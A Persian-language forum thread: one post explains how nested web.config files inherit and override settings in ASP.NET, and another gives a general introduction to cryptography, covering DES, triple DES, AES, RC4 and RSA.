امکان استفاده از چند فایل Web.config در یک برنامه ASP.net میسر میباشد . در واقع چنانچه در داخل یک شاخه از یک برنامه تحت وب یا به عبارت ساده تر یک سایت یک فایل web.config قرار دهیم شرایطی که در این فایل مشخص میشود بر مشخصات و شرایطی که در فایل web.config شاخه اصلی سایت است ارجعیت دارد و چنانچه پیکربندی در فایل web.config شاخه اصلی وجود داشته باشد که درآن فایل دوم نباشد این پیکربندی برای آن زیر شاخه نیز صادق است .در نتها لازم به ذکر است که محدوده دید یک فایل web.config در همان شاخه و تمام زیر شاجه هائی است که در آن شاخه که خود فایل قرار دارد میباشد .بنابراین شرایطی که در فایل web.config که در شاخه اصلی یک سایت قرار دارد برای تمام فایل ها و زیر شاخه های آن صادق است .

Share this post


Link to post
Share on other sites

۱- معرفی و اصطلاحات

رمزنگاری علم کدها و رمزهاست. یک هنر قدیمی است و برای قرنها بمنظور محافظت از پیغامهایی که بین فرماندهان، جاسوسان،* عشاق و دیگران ردوبدل می*شده، استفاده شده است تا پیغامهای آنها محرمانه بماند.

هنگامی که با امنیت دیتا سروکار داریم، نیاز به اثبات هویت فرستنده و گیرنده پیغام داریم و در ضمن باید از عدم تغییر محتوای پیغام مطمئن شویم. این سه موضوع یعنی محرمانگی، تصدیق هویت و جامعیت در قلب امنیت ارتباطات دیتای مدرن قرار دارند و می*توانند از رمزنگاری استفاده کنند.

اغلب این مساله باید تضمین شود که یک پیغام فقط میتواند توسط کسانی خوانده شود که پیغام برای آنها ارسال شده است و دیگران این اجازه را ندارند. روشی که تامین کننده این مساله باشد "رمزنگاری" نام دارد. رمزنگاری هنر نوشتن بصورت رمز است بطوریکه هیچکس بغیر از دریافت کننده موردنظر نتواند محتوای پیغام را بخواند.

رمزنگاری مخفف*ها و اصطلاحات مخصوص به خود را دارد. برای درک عمیق*تر به مقداری از دانش ریاضیات نیاز است. برای محافظت از دیتای اصلی ( که بعنوان plaintext شناخته می*شود)، آنرا با استفاده از یک کلید (رشته*ای محدود از بیتها) بصورت رمز در می*آوریم تا کسی که دیتای حاصله را می*خواند قادر به درک آن نباشد. دیتای رمزشده (که بعنوان ciphertext شناخته می*شود) بصورت یک سری بی*معنی از بیتها بدون داشتن رابطه مشخصی با دیتای اصلی بنظر می*رسد. برای حصول متن اولیه دریافت*کننده آنرا رمزگشایی می*کند. یک شخص ثالت (مثلا یک هکر) می*تواند برای اینکه بدون دانستن کلید به دیتای اصلی دست یابد، کشف رمز*نوشته (cryptanalysis) کند. بخاطرداشتن وجود این شخص ثالث بسیار مهم است.

رمزنگاری دو جزء اصلی دارد، یک الگوریتم و یک کلید. الگوریتم یک مبدل یا فرمول ریاضی است. تعداد کمی الگوریتم قدرتمند وجود دارد که بیشتر آنها بعنوان استانداردها یا مقالات ریاضی منتشر شده*اند. کلید، یک رشته از ارقام دودویی (صفر و یک) است که بخودی*خود بی*معنی است. رمزنگاری مدرن فرض می*کند که الگوریتم شناخته شده است یا می*تواند کشف شود. کلید است که باید مخفی نگاه داشته شود و کلید است که در هر مرحله پیاده*سازی تغییر می*کند. رمزگشایی ممکن است از همان جفت الگوریتم و کلید یا جفت متفاوتی استفاده کند.

دیتای اولیه اغلب قبل از رمزشدن بازچینی می*شود؛ این عمل عموما بعنوان scrambling شناخته می*شود. بصورت مشخص*تر، hash functionها بلوکی از دیتا را (که می*تواند هر اندازه*ای داشته باشد) به طول از پیش مشخص*شده کاهش می*دهد. البته دیتای اولیه نمی*تواند از hashed value بازسازی شود. Hash functionها اغلب بعنوان بخشی از یک سیستم تایید هویت مورد نیاز هستند؛ خلاصه*ای از پیام (شامل مهم*ترین قسمتها مانند شماره پیام، تاریخ و ساعت، و نواحی مهم دیتا) قبل از رمزنگاری خود پیام، ساخته *و hash می*شود.

یک چک تایید پیام (Message Authentication Check) یا MAC یک الگوریتم ثابت با تولید یک امضاء برروی پیام با استفاده از یک کلید متقارن است. هدف آن نشان دادن این مطلب است که پیام بین ارسال و دریافت تغییر نکرده است. هنگامی که رمزنگاری توسط کلید عمومی برای تایید هویت فرستنده پیام استفاده می*شود، منجر به ایجاد امضای دیجیتال (digital signature) می*شود.

۲- الگوریتم*ها

طراحی الگوریتمهای رمزنگاری مقوله*ای برای متخصصان ریاضی است. طراحان سیستمهایی که در آنها از رمزنگاری استفاده می*شود، باید از نقاط قوت و ضعف الگوریتمهای موجود مطلع باشند و برای تعیین الگوریتم مناسب قدرت تصمیم*گیری داشته باشند. اگرچه رمزنگاری از اولین کارهای شانون (Shannon) در اواخر دهه ۴۰ و اوایل دهه ۵۰ بشدت پیشرفت کرده است، اما کشف رمز نیز پابه*پای رمزنگاری به پیش آمده است و الگوریتمهای کمی هنوز با گذشت زمان ارزش خود را حفظ کرده*اند. بنابراین تعداد الگوریتمهای استفاده شده در سیستمهای کامپیوتری عملی و در سیستمهای برپایه کارت هوشمند بسیار کم است.

۱-۲ سیستمهای کلید متقارن

یک الگوریتم متقارن از یک کلید برای رمزنگاری و رمزگشایی استفاده می*کند. بیشترین شکل استفاده از رمزنگاری که در کارتهای هوشمند و البته در بیشتر سیستمهای امنیت اطلاعات وجود دارد data encryption algorithm یا DEA است که بیشتر بعنوان DES* شناخته می*شود. DES یک محصول دولت ایالات متحده است که امروزه بطور وسیعی بعنوان یک استاندارد بین*المللی شناخته *می*شود. بلوکهای ۶۴بیتی دیتا توسط یک کلید تنها که معمولا ۵۶بیت طول دارد، رمزنگاری و رمزگشایی می*شوند. DES* از نظر محاسباتی ساده است و براحتی می*تواند توسط پردازنده*های کند (بخصوص آنهایی که در کارتهای هوشمند وجود دارند) انجام گیرد.

این روش بستگی به مخفی*بودن کلید دارد. بنابراین برای استفاده در دو موقعیت مناسب است: هنگامی که کلیدها می*توانند به یک روش قابل اعتماد و امن توزیع و ذخیره شوند یا جایی که کلید بین دو سیستم مبادله می*شوند که قبلا هویت یکدیگر را تایید کرده*اند عمر کلیدها بیشتر از مدت تراکنش طول نمی*کشد. رمزنگاری DES عموما برای حفاظت دیتا از شنود در طول انتقال استفاده می*شود.

کلیدهای DES ۴۰بیتی امروزه در عرض چندین ساعت توسط کامپیوترهای معمولی شکسته می*شوند و بنابراین نباید برای محافظت از اطلاعات مهم و با مدت طولانی اعتبار استفاده شود. کلید ۵۶بیتی عموما توسط سخت*افزار یا شبکه*های بخصوصی شکسته می*شوند. رمزنگاری DESسه*تایی عبارتست از کدکردن دیتای اصلی با استفاده از الگوریتم DES* که در سه مرتبه انجام می*گیرد. (دو مرتبه با استفاده از یک کلید به سمت جلو (رمزنگاری) و یک مرتبه به سمت عقب (رمزگشایی) با یک کلید دیگر) مطابق شکل زیر:

این عمل تاثیر دوبرابر کردن طول مؤثر کلید را دارد؛ بعدا خواهیم دید که این یک عامل مهم در قدرت رمزکنندگی است.

الگوریتمهای استاندارد جدیدتر مختلفی پیشنهاد شده*اند. الگوریتمهایی مانند Blowfish و IDEA برای زمانی مورد استفاده قرار گرفته*اند اما هیچکدام پیاده*سازی سخت*افزاری نشدند بنابراین بعنوان رقیبی برای DES برای استفاده در کاربردهای میکروکنترلی مطرح نبوده*اند. پروژه استاندارد رمزنگاری پیشرفته دولتی ایالات متحده (AES) الگوریتم Rijndael را برای جایگزیتی DES بعنوان الگوریتم رمزنگاری اولیه انتخاب کرده است. الگوریتم Twofish مشخصا برای پیاده*سازی در پردازنده*های توان*ـ*پایین مثلا در کارتهای هوشمند طراحی شد.

در ۱۹۹۸ وزارت دفاع ایالات متحده تصمیم گرفت که الگوریتمها Skipjack و مبادله کلید را که در کارتهای Fortezza استفاده شده بود، از محرمانگی خارج سازد. یکی از دلایل این امر تشویق برای پیاده*سازی بیشتر کارتهای هوشمند برپایه این الگوریتمها بود.

برای رمزنگاری جریانی (streaming encryption) (که رمزنگاری دیتا در حین ارسال صورت می*گیرد بجای اینکه دیتای کدشده در یک فایل مجزا قرار گیرد) الگوریتم RC4* سرعت بالا و دامنه*ای از طول کلیدها از ۴۰ تا ۲۵۶ بیت فراهم می*کند. RC4 که متعلق به امنیت دیتای RSA* است، بصورت عادی برای رمزنگاری ارتباطات دوطرفه امن در اینترنت استفاده می*شود.

۲-۲ سیستمهای کلید نامتقارن

سیستمهای کلید نامتقارن از کلید مختلفی برای رمزنگاری و رمزگشایی استفاده می*کنند. بسیاری از سیستمها اجازه می*دهند که یک جزء (کلید عمومی یا public key) منتشر شود در حالیکه دیگری (کلید اختصاصی یا private key) توسط صاحبش حفظ شود. فرستنده پیام، متن را با کلید عمومی گیرنده کد می*کند و گیرنده آن را با کلید اختصاصی خودش رمزنگاری میکند. بعبارتی تنها با کلید اختصاصی گیرنده می*توان متن کد شده را به متن اولیه صحیح تبدیل کرد. یعنی حتی فرستنده نیز اگرچه از محتوای اصلی پیام مطلع است اما نمی*تواند از متن کدشده به متن اصلی دست یابد، بنابراین پیام کدشده برای هرگیرنده*ای بجز گیرنده مورد نظر فرستنده بی*معنی خواهد بود. معمولترین سیستم نامتقارن بعنوان RSA* شناخته می*شود (حروف اول پدیدآورندگان آن یعنی Rivest ، Shamir و Adlemen است). اگرچه چندین طرح دیگر وجود دارند. می*توان از یک سیستم نامتقارن برای نشاندادن اینکه فرستنده پیام همان شخصی است که ادعا می*کند استفاده کرد که این عمل اصطلاحا امضاء نام دارد. RSA شامل دو تبدیل است که هرکدام احتیاج به بتوان*رسانی ماجولار با توانهای خیلی طولانی دارد:

امضاء، متن اصلی را با استفاده از کلید اختصاصی رمز می*کند؛

رمزگشایی عملیات مشابه*ای روی متن رمزشده اما با استفاده از کلید عمومی است. برای تایید امضاء بررسی می*کنیم که آیا این نتیجه با دیتای اولیه یکسان است؛ اگر اینگونه است، امضاء توسط کلید اختصاصی متناظر رمزشده است.

به بیان ساده*تر چنانچه متنی از شخصی برای دیگران منتشر شود، این متن شامل متن اصلی و همان متن اما رمز شده توسط کلید اختصاصی همان شخص است. حال اگر متن رمزشده توسط کلید عمومی آن شخص که شما از آن مطلعید رمزگشایی شود، مطابقت متن حاصل و متن اصلی نشاندهنده صحت فرد فرستنده آن است، به این ترتیب امضای فرد تصدیق می*شود. افرادی که از کلید اختصاصی این فرد اطلاع ندارند قادر به ایجاد متن رمز*شده* نیستند بطوریکه با رمزگشایی توسط کلید عمومی این فرد به متن اولیه تبدیل شود.

اساس سیستم RSA این فرمول است: X = Yk (mod r)

که X متن کد شده، Y متن اصلی، k کلید اختصاصی و r حاصلضرب دو عدد اولیه بزرگ است که با دقت انتخاب شده*اند. برای اطلاع از جزئیات بیشتر می*توان به مراجعی که در این زمینه وجود دارد رجوع کرد. این شکل محاسبات روی پردازنده*های بایتی بخصوص روی ۸ بیتی*ها که در کارتهای هوشمند استفاده می*شود بسیار کند است. بنابراین، اگرچه RSA هم تصدیق هویت و هم رمزنگاری را ممکن می*سازد، در اصل برای تایید هویت منبع پیام از این الگوریتم در کارتهای هوشمند استفاده می*شود و برای نشاندادن عدم تغییر پیام در طول ارسال و رمزنگاری کلیدهای آتی استفاده می*شود.

سایر سیستمهای کلید نامتقارن شامل سیستمهای لگاریتم گسسته می*شوند مانند Diffie-Hellman، ElGamal و سایر طرحهای چندجمله*ای و منحنی*های بیضوی. بسیاری از این طرحها عملکردهای یک*ـ*طرفه*ای دارند که اجازه تاییدهویت را می*دهند اما رمزنگاری ندارند. یک رقیب جدیدتر الگوریتم RPK* است که از یک تولیدکننده مرکب برای تنظیم ترکیبی از کلیدها با مشخصات مورد نیاز استفاده می*کند. RPK یک پروسه دو مرحله*ای است: بعد از فاز آماده*سازی در رمزنگاری و رمزگشایی (برای یک طرح کلید عمومی) رشته*هایی از دیتا بطور استثنایی کاراست و می*تواند براحتی در سخت*افزارهای رایج پیاده*سازی شود. بنابراین بخوبی با رمزنگاری و تصدیق*هویت در ارتباطات سازگار است.

طولهای کلیدها برای این طرحهای جایگزین بسیار کوتاهتر از کلیدهای مورد استفاده در RSA* است که آنها برای استفاده در چیپ*کارتها مناسب*تر است. اما *RSA* محکی برای ارزیابی سایر الگوریتمها باقی مانده است؛ حضور و بقای نزدیک به سه*دهه از این الگوریتم، تضمینی در برابر ضعفهای عمده بشمار می*رود.

تشکر یادتون نره:41:

Share this post


Link to post
Share on other sites

برای ارسال نظر یک حساب کاربری ایجاد کنید یا وارد حساب خود شوید

برای اینکه بتوانید نظر ارسال کنید نیاز دارید که کاربر سایت شوید

ایجاد یک حساب کاربری

برای حساب کاربری جدید در انجمن ما ثبت نام کنید. عضویت خیلی ساده است !


ثبت نام یک حساب کاربری جدید

ورود به حساب کاربری

دارای حساب کاربری هستید؟ از اینجا وارد شوید


ورود به حساب کاربری